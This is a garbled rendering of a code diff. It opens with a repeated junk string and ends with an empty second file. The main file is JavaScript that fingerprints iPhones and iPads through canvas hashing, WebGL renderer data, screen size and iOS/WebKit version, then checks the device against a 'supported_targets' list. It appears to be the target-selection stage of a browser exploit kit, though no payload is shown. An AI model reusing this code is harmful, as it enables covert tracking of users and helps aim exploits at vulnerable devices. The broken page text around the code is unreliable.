rtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtehdf
|
code/0682f6855b5c046f65e021bd9834d22314a7797a6a8c621ebc203bf2520080e0
ADDED
|
@@ -0,0 +1,195 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
|
| 2 |
+
function detect_device()
|
| 3 |
+
{
|
| 4 |
+
var devicelist = [];
|
| 5 |
+
|
| 6 |
+
function getRenderer(n,t){function i(){function r(n){n.width=67;n.height=67;var t=n.getContext("2d",{alpha:!0});if(t!=null)return t.imageSmoothingQuality="low",t.imageSmoothingEnabled=!0,t.globalCompositeOperation="source-over",t.globalAlpha=1,t.miterLimit=Infinity,t.filter="none",t.lineCap="butt",t.lineDashOffset=0,t.lineJoin="miter",t.font="10pt Arial",t.lineWidth=2,t.setLineDash!==undefined&&t.setLineDash([10,20]),t.shadowColor="black",t.shadowOffsetX=-3,t.shadowOffsetY=-5,t.translate(n.width/2,n.height/2),t.rotate(.8901179),t.fillStyle="green",t.textAlign="center",t.textBaseline="middle",t.fillText("*51Degrees*",0,0),t.beginPath(),t.shadowColor="yellow",t.shadowBlur=1,t.shadowOffsetX=1,t.shadowOffsetY=1,t.strokeStyle="red",t.fillStyle="rgba(0, 0, 255, 0.6)",t.ellipse===undefined?t.arc(0,0,25,0,2*Math.PI):t.ellipse(0,0,25,15,Math.PI/4,0,2*Math.PI),t.fill(),t.stroke(),n.toDataURL()}function u(n){for(var t=2166136261,i=0;i<n.length;++i)t^=n.charCodeAt(i),t+=(t<<1)+(t<<4)+(t<<7)+(t<<8)+(t<<24);return t>>>0}var t=0,i=document.createElement("canvas"),n;return i!=null&&(n=r(i),n&&(t=u(n))),t}function o(){return window.screen.height*window.devicePixelRatio}function a(n){return window.matchMedia(n).matches}function v(n,t){for(var i=0;i<t.length;i++)if(a("("+n+": "+t[i]+")"))return t[i];return"n/a"}function r(){return v("color-gamut",["p3","srgb"])}function y(){var n=/iPhone|iPad|Macintosh/.exec(navigator.userAgent);return n&&n.length>0?n[0]:""}function l(){function i(){this.samples=[];this.active=0}function r(t){t.terminate();n(t.state)}function u(t){clearTimeout(t.currentTarget.timeout);var i=t.currentTarget.state;t.currentTarget.terminate();i.samples=i.samples.concat(t.data);n(i)}function n(n){n.active--;n.active===0&&(f=n.samples,n.resolve(f))}function e(n,t,f){var o=[],h=new i,s,e;h.resolve=n;h.reject=t;try{for(e=0;e<2;e++)s=new Worker(f),s.state=h,s.onmessage=u,s.onerror=function(n){t(n)},o.push(s);for(e=0;e<o.length;e++)h.active++,o[e].postMessage(80),o[e].timeout=setTimeout(r,4e3,o[e])}catch(c){t(new Error(c))}}function o(n,t,i){fetch(i,{mode:"same-origin"}).then(function(i){if(i.ok)e(n,t,i.url);else{var r=new Error("Url could not be reached");r.response=i;t(r)}}).catch(function(n){t(n)})}return new Promise(function(n,i){f!=null?n(f):setTimeout(function(){o(n,i,t)},1e3)})}function u(t){return l().then(function(n){var i=0,r;n.length>0&&(r=n.reduce(function(n,t){return t+n}),i=r/n.length);s(t,i)}).catch(function(){n(t.x)})}function e(t){return l().then(function(n){var i=0,r,u;n.length>0&&(r=n.reduce(function(n,t){return t+n}),u=n.length>0?r/n.length:0,i=n.reduce(function(n,t){return n+Math.pow(t-u,2)},0)/(n.length-1));s(t,i)}).catch(function(){n(t.x)})}function s(t,i){for(var r,e,u,f=0;f<t.n.length;f++)if(r=c[t.n[f]],r.r){for(e=0;e<r.r.length;e++)if(u=r.r[e],(u.a===null||i>=u.a)&&(u.b===null||i<=u.b)){h(r);return}}else if(r.v&&r.v.indexOf(i)!=-1){h(r);return}n(t.x)}function h(t){if(t.m){var i=t.m(t);i||i===""?i.then||s(t,i):t.x&&n(t.x)}else n(t.x)}var c=[{x:"Unknown",m:function(n){return y(n)},n:[2,1,3]},{x:"Apple A7 GPU|Apple A8 GPU|Apple A9 GPU|Apple A10 GPU|Apple A11 GPU|Apple A12 GPU|Apple A13 GPU",m:function(n){return o(n)},n:[9,10,11,5,6,7,8,4],v:["iPhone"]},{x:"Apple A7 GPU|Apple A8 GPU|Apple A9X GPU|Apple A10X GPU|Apple A9 GPU|Apple A12X GPU|Apple A10 GPU|Apple A12 GPU|Apple A8X GPU",m:function(n){return o(n)},n:[16,15,14,13,12],v:["iPad"]},{x:"Apple A9X GPU|Apple A10X GPU|Apple A9 GPU|Apple A10 GPU|Apple A11 GPU|Apple A12X GPU|Apple A12 GPU|Apple A8 GPU|Apple A8X GPU|Apple A13 GPU",m:function(n){return o(n)},n:[16,15,14,9,10,11,13,18,21,19,20,8,17],v:["Macintosh"]},{x:"Apple A7 GPU|Apple A9 GPU|Apple A10 GPU|Apple A11 GPU|Apple A8 GPU",m:function(n){return r(n)},n:[23,22],v:[1136]},{x:"Apple A8 GPU|Apple A10 GPU|Apple A11 GPU|Apple A9 GPU",m:function(n){return r(n)},n:[24,25],v:[2001]},{x:"Apple A8 GPU|Apple A9 GPU|Apple A10 GPU|Apple A11 GPU",m:function(n){return r(n)},n:[26,27],v:[2208]},{x:"Apple A8 GPU|Apple A9 GPU|Apple A10 GPU|Apple A11 GPU",m:function(n){return r(n)},n:[28,29],v:[1334]},{x:"Apple A11 GPU|Apple A12 GPU|Apple A13 GPU",m:function(n){return i(n)},n:[30,32,31],v:[2436]},{x:"Apple A12 GPU|Apple A13 GPU",m:function(n){return i(n)},n:[33,34],v:[2688]},{x:"Apple A12 GPU|Apple A13 GPU",m:function(n){return i(n)},n:[33,35],v:[1624]},{x:"Apple A12 GPU|Apple A13 GPU",m:function(n){return i(n)},n:[33,36],v:[1792]},{x:"Apple A7 GPU|Apple A8 GPU|Apple A9X GPU|Apple A10X GPU|Apple A9 GPU|Apple A12X GPU|Apple A10 GPU|Apple A12 GPU|Apple A8X GPU",m:function(n){return r(n)},n:[38,37],v:[2048]},{x:"Apple A9X GPU|Apple A10X GPU|Apple A12X GPU",m:function(n){return r(n)},n:[39,40],v:[2732]},{x:"Apple A10X GPU|Apple A12 GPU",m:function(n){return i(n)},n:[42,41],v:[2224]},{x:"Apple A12X GPU",v:[2388]},{x:"Apple A10 GPU",v:[2160]},{x:"Apple A9X GPU|Apple A10X GPU|Apple A9 GPU|Apple A12X GPU|Apple A10 GPU|Apple A12 GPU|Apple A8 GPU|Apple A8X GPU",m:function(n){return r(n)},n:[38,43],v:[2048]},{x:"Apple A9 GPU|Apple A10 GPU|Apple A11 GPU",m:function(n){return r(n)},n:[44,27],v:[2208]},{x:"Apple A9 GPU|Apple A10 GPU|Apple A11 GPU",m:function(n){return r(n)},n:[44,29],v:[1334]},{x:"Apple A9 GPU|Apple A10 GPU|Apple A11 GPU",m:function(n){return r(n)},n:[44,23],v:[1136]},{x:"Apple A10 GPU|Apple A11 GPU|Apple A9 GPU",m:function(n){return r(n)},n:[44,25],v:[2001]},{x:"Apple A7 GPU|Apple A9 GPU|Apple A8 GPU",m:function(n){return i(n)},n:[45,47,46],v:["srgb"]},{x:"Apple A10 GPU|Apple A11 GPU",m:function(n){return i(n)},n:[48,49],v:["p3"]},{x:"Apple A8 GPU|Apple A9 GPU",m:function(n){return i(n)},n:[50,51],v:["srgb"]},{x:"Apple A10 GPU|Apple A11 GPU",m:function(n){return i(n)},n:[48,52],v:["p3"]},{x:"Apple A8 GPU|Apple A9 GPU",m:function(n){return i(n)},n:[53,46],v:["srgb"]},{x:"Apple A10 GPU|Apple A11 GPU",m:function(n){return i(n)},n:[48,54],v:["p3"]},{x:"Apple A8 GPU|Apple A9 GPU",m:function(n){return i(n)},n:[55,46],v:["srgb"]},{x:"Apple A10 GPU|Apple A11 GPU",m:function(n){return i(n)},n:[56,57],v:["p3"]},{x:"Apple A11 GPU",v:[3237505312]},{x:"Apple A11 GPU|Apple A12 GPU|Apple A13 GPU",m:function(n){return u(n)},n:[60,59,58],v:[1349146759]},{x:"Apple A11 GPU|Apple A12 GPU",m:function(n){return u(n)},n:[62,61],v:[2917249763]},{x:"Apple A12 GPU",v:[2917249763]},{x:"Apple A12 GPU|Apple A13 GPU",m:function(n){return u(n)},n:[64,63],v:[1349146759]},{x:"Apple A12 GPU|Apple A13 GPU",m:function(n){return u(n)},n:[65,66,67],v:[1349146759]},{x:"Apple A12 GPU|Apple A13 GPU",m:function(n){return u(n)},n:[69,68],v:[1349146759]},{x:"Apple A7 GPU|Apple A8 GPU|Apple A9X GPU|Apple A9 GPU|Apple A10 GPU|Apple A8X GPU",m:function(n){return i(n)},n:[73,70,72,74,75,76,71,45],v:["srgb"]},{x:"Apple A10X GPU|Apple A9X GPU|Apple A12X GPU|Apple A12 GPU",m:function(n){return i(n)},n:[79,77,78],v:["p3"]},{x:"Apple A9X GPU",v:["srgb"]},{x:"Apple A10X GPU|Apple A12X GPU",m:function(n){return i(n)},n:[41,80],v:["p3"]},{x:"Apple A10X GPU",v:[2114570256,3129316290]},{x:"Apple A12 GPU",v:[1349146759,2917249763]},{x:"Apple A9X GPU|Apple A9 GPU|Apple A10 GPU|Apple A8 GPU|Apple A8X GPU",m:function(n){return i(n)},n:[73,83,72,81,82,71],v:["srgb"]},{x:"Apple A9 GPU",v:["srgb"]},{x:"Apple A7 GPU",v:[857422828,1915583345]},{x:"Apple A9 GPU",v:[46663968,2114570256,3129316290]},{x:"Apple A8 GPU",v:[839732043,3816812018,4125234388]},{x:"Apple A10 GPU",v:[2114570256,3129316290]},{x:"Apple A11 GPU",v:[1349146759,2917249763]},{x:"Apple A8 GPU",v:[1411440593,1924197914,4125234388]},{x:"Apple A9 GPU",v:[3129316290]},{x:"Apple A11 GPU",v:[2917249763]},{x:"Apple A8 GPU",v:[1411440593,1913250432,3074367344,4125234388]},{x:"Apple A11 GPU",v:[2917249763,3237505312]},{x:"Apple A8 GPU",v:[3128296539,3816812018,4125234388]},{x:"Apple A10 GPU",v:[46663968,2114570256,3129316290]},{x:"Apple A11 GPU",v:[1349146759,2917249763,3237505312]},{x:"Apple A12 GPU",r:[{a:13.25,b:13.53}]},{x:"Apple A13 GPU",r:[{a:11.64,b:13.09}]},{x:"Apple A11 GPU",r:[{a:14.08,b:14.53}]},{x:"Apple A12 GPU",r:[{a:13.05,b:13.64}]},{x:"Apple A11 GPU",r:[{a:14.31,b:14.69}]},{x:"Apple A12 GPU",r:[{a:13.22,b:13.84}]},{x:"Apple A13 GPU",r:[{a:11.64,b:13.09}]},{x:"Apple A13 GPU",r:[{a:11.64,b:13.23}]},{x:"Apple A12 GPU",r:[{a:13.24,b:13.88}]},{x:"Apple A12 GPU",r:[{a:14.56,b:21.68}]},{x:"Apple A12 GPU",r:[{a:13.28,b:14.22}]},{x:"Apple A13 GPU",r:[{a:11.64,b:12.96}]},{x:"Apple A8 GPU",v:[2656686317,3710391565]},{x:"Apple A9X GPU|Apple A9 GPU|Apple A10 GPU",m:function(n){return u(n)},n:[86,87,84,85],v:[3129316290]},{x:"Apple A9 GPU|Apple A10 GPU",m:function(n){return u(n)},n:[89,88],v:[2114570256]},{x:"Apple A10 GPU",v:[46663968]},{x:"Apple A8 GPU|Apple A8X GPU",m:function(n){return u(n)},n:[91,90],v:[4125234388]},{x:"Apple A8 GPU|Apple A8X GPU",m:function(n){return e(n)},n:[92],v:[4005673483]},{x:"Apple A8 GPU|Apple A8X GPU",v:[1350183384,1361285941,3816812018]},{x:"Apple A10X GPU|Apple A9X GPU",m:function(n){return u(n)},n:[93,94],v:[3129316290]},{x:"Apple A9X GPU|Apple A10X GPU",m:function(n){return u(n)},n:[95,96],v:[2114570256]},{x:"Apple A12X GPU|Apple A12 GPU",v:[1349146759,2917249763]},{x:"Apple A12X GPU",v:[1349146759,2917249763]},{x:"Apple A8 GPU|Apple A8X GPU",m:function(n){return e(n)},n:[97,98],v:[4005673483]},{x:"Apple A8 GPU|Apple A8X GPU",v:[1361285941]},{x:"Apple A8X GPU",v:[1350183384,3816812018,4125234388]},{x:"Apple A10 GPU",r:[{a:13.66,b:16.36}]},{x:"Apple A9 GPU|Apple A9X GPU",m:function(n){return e(n)},n:[99],r:[{a:19.06,b:21.29}]},{x:"Apple A9 GPU",r:[{a:22.45,b:25.26}]},{x:"Apple A9 GPU",r:[{a:21.59,b:22.44}]},{x:"Apple A10 GPU",r:[{a:13.78,b:19.64}]},{x:"Apple A9 GPU",r:[{a:19.81,b:34.8}]},{x:"Apple A8 GPU|Apple A8X GPU",m:function(n){return e(n)},n:[100,101],r:[{a:27.91,b:30.91}]},{x:"Apple A8 GPU",r:[{a:30.92,b:31.88}]},{x:"Apple A8X GPU",r:[{a:.37,b:4.48}]},{x:"Apple A10X GPU",r:[{a:14.49,b:15.29}]},{x:"Apple A9X GPU",r:[{a:16.34,b:387.31}]},{x:"Apple A10X GPU",r:[{a:13.91,b:15.11}]},{x:"Apple A9X GPU",r:[{a:16.64,b:36.84}]},{x:"Apple A8X GPU",r:[{a:.37,b:1.99}]},{x:"Apple A8 GPU",r:[{a:37.57,b:10072.46}]},{x:"Apple A9X GPU|Apple A9 GPU",r:[{a:.26,b:115.16}]},{x:"Apple A8X GPU",r:[{a:.26,b:5.67}]},{x:"Apple A8 GPU",r:[{a:6.13,b:177.99}]}],f=null;h(c[0])};function getImageHash(){var e,t=document.createElement("canvas");if(null!=t){var l=function(e){e.width=67,e.height=67;var t=e.getContext("2d",{alpha:!0});if(null!=t)return t.imageSmoothingQuality="low",t.imageSmoothingEnabled=!0,t.globalCompositeOperation="source-over",t.globalAlpha=1,t.miterLimit=1/0,t.filter="none",t.lineCap="butt",t.lineDashOffset=0,t.lineJoin="miter",t.font="10pt Arial",t.lineWidth=2,void 0!==t.setLineDash&&t.setLineDash([10,20]),t.shadowColor="black",t.shadowOffsetX=-3,t.shadowOffsetY=-5,t.translate(e.width/2,e.height/2),t.rotate(.8901179),t.fillStyle="green",t.textAlign="center",t.textBaseline="middle",t.fillText("*51Degrees*",0,0),t.beginPath(),t.shadowColor="yellow",t.shadowBlur=1,t.shadowOffsetX=1,t.shadowOffsetY=1,t.strokeStyle="red",t.fillStyle="rgba(0, 0, 255, 0.6)",void 0===t.ellipse?t.arc(0,0,25,0,2*Math.PI):t.ellipse(0,0,25,15,Math.PI/4,0,2*Math.PI),t.fill(),t.stroke(),e.toDataURL()}(t);l&&(e=function(e){for(var t=2166136261,l=0;l<e.length;++l)t^=e.charCodeAt(l),t+=(t<<1)+(t<<4)+(t<<7)+(t<<8)+(t<<24);return t>>>0}(l))}return e}function getGpu(){var a="";getRenderer(function(value){if(value=='Unknown'){var canvas=document.createElement("canvas");if(canvas!=null){var context=canvas.getContext("webgl")||canvas.getContext("experimental-webgl");if(context){var info=context.getExtension("WEBGL_debug_renderer_info");if(info){value=context.getParameter(info.UNMASKED_RENDERER_WEBGL)}}}}a=value;},""); return a;}
|
| 7 |
+
|
| 8 |
+
//var gpuinfo="Apple A7 GPU|Apple A9 GPU|Apple A10 GPU|Apple A11 GPU|Apple A8 GPU";//getGpu();
|
| 9 |
+
var gpuinfo=getGpu();
|
| 10 |
+
print("[*] get device gpu info:"+ gpuinfo);
|
| 11 |
+
var gpulist = [];
|
| 12 |
+
var gpuarray = gpuinfo.split('|');
|
| 13 |
+
for(i = 0; i < gpuarray.length; i++)
|
| 14 |
+
{
|
| 15 |
+
var gpuitem = gpuarray[i];
|
| 16 |
+
if(gpuitem) gpuitem = gpuitem.split('Apple ');
|
| 17 |
+
if(gpuitem.length > 1) gpuitem = gpuitem[1].split(' GPU')[0];
|
| 18 |
+
if(gpuitem && gpuitem.length > 0)
|
| 19 |
+
gpulist.push(gpuitem);
|
| 20 |
+
}
|
| 21 |
+
print("[*] gpu list:"+ gpulist.join(","));
|
| 22 |
+
|
| 23 |
+
/*
|
| 24 |
+
11 ProMax/XsMax 414*896
|
| 25 |
+
11/XR 414*896
|
| 26 |
+
11 Pro/X/Xs 375*812
|
| 27 |
+
6p,6sp,7p,8Plus 414*736
|
| 28 |
+
iPhone6,6s,7,8 375*667
|
| 29 |
+
iPhone5,5s,5c,SE 320*568
|
| 30 |
+
iPhone4,4s 320*480
|
| 31 |
+
*/
|
| 32 |
+
|
| 33 |
+
var iphonesize = [
|
| 34 |
+
{"device":"iPhone 4","width":320,"height":480,"gpu":"A4"},
|
| 35 |
+
{"device":"iPhone 4S","width":320,"height":480,"gpu":"A5"},
|
| 36 |
+
{"device":"iPhone 5","width":320,"height":568,"gpu":"A5"},
|
| 37 |
+
{"device":"iPhone 5C","width":320,"height":568,"gpu":"A6"},
|
| 38 |
+
{"device":"iPhone 5S","width":320,"height":568,"gpu":"A7"},
|
| 39 |
+
{"device":"iPhone 6","width":375,"height":667,"gpu":"A8"},
|
| 40 |
+
{"device":"iPhone 6S","width":375,"height":667,"gpu":"A9"},
|
| 41 |
+
{"device":"iPhone 7","width":375,"height":667,"gpu":"A10"},
|
| 42 |
+
{"device":"iPhone 8","width":375,"height":667,"gpu":"A11"},
|
| 43 |
+
{"device":"iPhone 6+","width":414,"height":736,"gpu":"A8"},
|
| 44 |
+
{"device":"iPhone 6S+","width":414,"height":736,"gpu":"A9"},
|
| 45 |
+
{"device":"iPhone 7+","width":414,"height":736,"gpu":"A10"},
|
| 46 |
+
{"device":"iPhone 8+","width":414,"height":736,"gpu":"A11"},
|
| 47 |
+
{"device":"iPhone SE","width":320,"height":568,"gpu":"A9"},
|
| 48 |
+
{"device":"iPhone X","width":375,"height":812,"gpu":"A11"},
|
| 49 |
+
{"device":"iPhone XS+","width":414,"height":896,"gpu":"A12"}
|
| 50 |
+
];
|
| 51 |
+
|
| 52 |
+
var width = window.screen.width || 0;
|
| 53 |
+
var height = window.screen.height || 0;
|
| 54 |
+
print("[*] width:"+ width+",height:"+height);
|
| 55 |
+
|
| 56 |
+
var t = "unknown";
|
| 57 |
+
if(navigator.userAgent.indexOf('iPhone') > -1) {
|
| 58 |
+
t = "iPhone";
|
| 59 |
+
}
|
| 60 |
+
|
| 61 |
+
if(navigator.userAgent.indexOf('iPad') > -1) {
|
| 62 |
+
t = "iPad";
|
| 63 |
+
}
|
| 64 |
+
|
| 65 |
+
if(navigator.userAgent.indexOf('iPod') > -1) {
|
| 66 |
+
t = "iPod";
|
| 67 |
+
}
|
| 68 |
+
|
| 69 |
+
if(t === "iPhone") {
|
| 70 |
+
|
| 71 |
+
for(d=0;d<iphonesize.length;d++) {
|
| 72 |
+
|
| 73 |
+
if(iphonesize[d].width != width || iphonesize[d].height != height)
|
| 74 |
+
continue;
|
| 75 |
+
//print("iphonesize[d].device:"+iphonesize[d].device);
|
| 76 |
+
//print("gpulist.length"+gpulist.length);
|
| 77 |
+
if(gpulist.length <= 0){
|
| 78 |
+
devicelist.push(iphonesize[d].device);
|
| 79 |
+
}else {
|
| 80 |
+
for(i=0;i<gpulist.length;i++) {
|
| 81 |
+
|
| 82 |
+
var gpu = gpulist[i];
|
| 83 |
+
if(gpu == iphonesize[d].gpu)
|
| 84 |
+
devicelist.push(iphonesize[d].device);
|
| 85 |
+
}
|
| 86 |
+
}
|
| 87 |
+
}
|
| 88 |
+
}
|
| 89 |
+
else if(t === "iPad") {
|
| 90 |
+
var gpu = "xx";
|
| 91 |
+
if(width === 768 && height === 1024 && gpu == 'A5') return ['iPad Mini', 'iPad 2'];
|
| 92 |
+
|
| 93 |
+
if(width === 768 && height === 1024 && gpu == 'A7') return ['iPad Mini 2', 'iPad Mini 3', 'iPad Air'];
|
| 94 |
+
|
| 95 |
+
if(width === 768 && height === 1024 && gpu == 'A8') return ['iPad Mini 4'];
|
| 96 |
+
|
| 97 |
+
if(width === 768 && height === 1024 && gpu == 'A5X') return ['iPad 3'];
|
| 98 |
+
|
| 99 |
+
if(width === 768 && height === 1024 && gpu == 'A6X') return ['iPad 4'];
|
| 100 |
+
|
| 101 |
+
if(width === 768 && height === 1024 && gpu == 'A8X') return ['iPad Air 2'];
|
| 102 |
+
|
| 103 |
+
if(width === 768 && height === 1024 && gpu == 'A9X') return ['9.7-inch iPad Pro'];
|
| 104 |
+
|
| 105 |
+
if(width === 768 && height === 1024 && gpu == 'A10') return ['iPad 6 (Cellular)'];
|
| 106 |
+
|
| 107 |
+
if(width === 834 && height === 1112 && gpu == 'A10X') return ['10.5-inch iPad Pro'];
|
| 108 |
+
if(width === 1024 && height === 1366 && gpu == 'A10X') return ['12.9-inch iPad Pro'];
|
| 109 |
+
|
| 110 |
+
} else {
|
| 111 |
+
var gpu = "xx";
|
| 112 |
+
if(width === 272 && height === 340 && gpu == 'S1') return ['Watch 1 38mm'];
|
| 113 |
+
if(width === 312 && height === 390 && gpu == 'S1') return ['Watch 1 42mm'];
|
| 114 |
+
|
| 115 |
+
if(width === 272 && height === 340 && gpu == 'S1P') return ['Watch 1 sport 38mm'];
|
| 116 |
+
if(width === 312 && height === 390 && gpu == 'S1P') return ['Watch 1 sport 42mm'];
|
| 117 |
+
|
| 118 |
+
if(width === 272 && height === 340 && gpu == 'S2') return ['Watch 2 38mm'];
|
| 119 |
+
if(width === 312 && height === 390 && gpu == 'S2') return ['Watch 2 42mm'];
|
| 120 |
+
|
| 121 |
+
if(width === 272 && height === 340 && gpu == 'S3') return ['Watch 3 38mm'];
|
| 122 |
+
if(width === 312 && height === 390 && gpu == 'S3') return ['Watch 3 42mm'];
|
| 123 |
+
}
|
| 124 |
+
|
| 125 |
+
if(devicelist.length <= 0)
|
| 126 |
+
devicelist.push("Unknown device");
|
| 127 |
+
|
| 128 |
+
return devicelist;
|
| 129 |
+
}
|
| 130 |
+
|
| 131 |
+
function detect_os()
|
| 132 |
+
{
|
| 133 |
+
return {
|
| 134 |
+
mobile: (typeof window.orientation !== "undefined") || (navigator.userAgent.indexOf('IEMobile') !== -1),
|
| 135 |
+
webkit: parseFloat(/AppleWebKit\/([\d.]+)/.exec(navigator.userAgent)[1]) || 0,
|
| 136 |
+
safari: window.navigator.userAgent.indexOf('Safari') > -1,
|
| 137 |
+
version: function()
|
| 138 |
+
{
|
| 139 |
+
var match = (navigator.appVersion).match(/OS (\d+)_(\d+)_?(\d+)?/);
|
| 140 |
+
if(match) {
|
| 141 |
+
var version = [
|
| 142 |
+
parseInt(match[1], 10),
|
| 143 |
+
parseInt(match[2], 10),
|
| 144 |
+
parseInt(match[3] || 0, 10)
|
| 145 |
+
];
|
| 146 |
+
return parseFloat(version[0]+'.'+version[1]+version[2]);
|
| 147 |
+
} else {
|
| 148 |
+
return "unknown";
|
| 149 |
+
}
|
| 150 |
+
}()
|
| 151 |
+
};
|
| 152 |
+
}
|
| 153 |
+
|
| 154 |
+
function fingerprint_osdevice()
|
| 155 |
+
{
|
| 156 |
+
if(typeof window.currentdevice !== 'undefined')
|
| 157 |
+
{
|
| 158 |
+
return window.currentdevice;
|
| 159 |
+
}
|
| 160 |
+
var _device = detect_device();
|
| 161 |
+
|
| 162 |
+
var _os = detect_os();
|
| 163 |
+
window.currentdevice = {device: _device, os: _os};
|
| 164 |
+
return {device: _device, os: _os};
|
| 165 |
+
}
|
| 166 |
+
|
| 167 |
+
var supported_targets = [
|
| 168 |
+
];
|
| 169 |
+
|
| 170 |
+
var target = function target(device, osvers, webkitvers)
|
| 171 |
+
{
|
| 172 |
+
return {device: device, osvers: osvers, webkit: webkitvers};
|
| 173 |
+
};
|
| 174 |
+
|
| 175 |
+
function SupportTarget(device, osverarr, webkitvers)
|
| 176 |
+
{
|
| 177 |
+
for(var i=0;i<osverarr.length;i++)
|
| 178 |
+
supported_targets.push(new target(device, osverarr[i], webkitvers));
|
| 179 |
+
}
|
| 180 |
+
|
| 181 |
+
function issupported()
|
| 182 |
+
{
|
| 183 |
+
var d = fingerprint_osdevice();
|
| 184 |
+
print("[+] device:"+d.device.join(",")+" and os version:"+d.os.version);
|
| 185 |
+
|
| 186 |
+
for(i = 0; i < supported_targets.length; i++)
|
| 187 |
+
{
|
| 188 |
+
var tgt = supported_targets[i];
|
| 189 |
+
if(d.device.includes(tgt.device) && (tgt.osvers == d.os.version) && ((d.webkit == tgt.webkit) || tgt.webkit == "any"))
|
| 190 |
+
{
|
| 191 |
+
return true;
|
| 192 |
+
}
|
| 193 |
+
}
|
| 194 |
+
return false;
|
| 195 |
+
}
|
code/07183a60ebcb02546c53e82d92da3ddcf447d7a1438496c4437ec06b4d9eb287
ADDED
|
@@ -0,0 +1,628 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
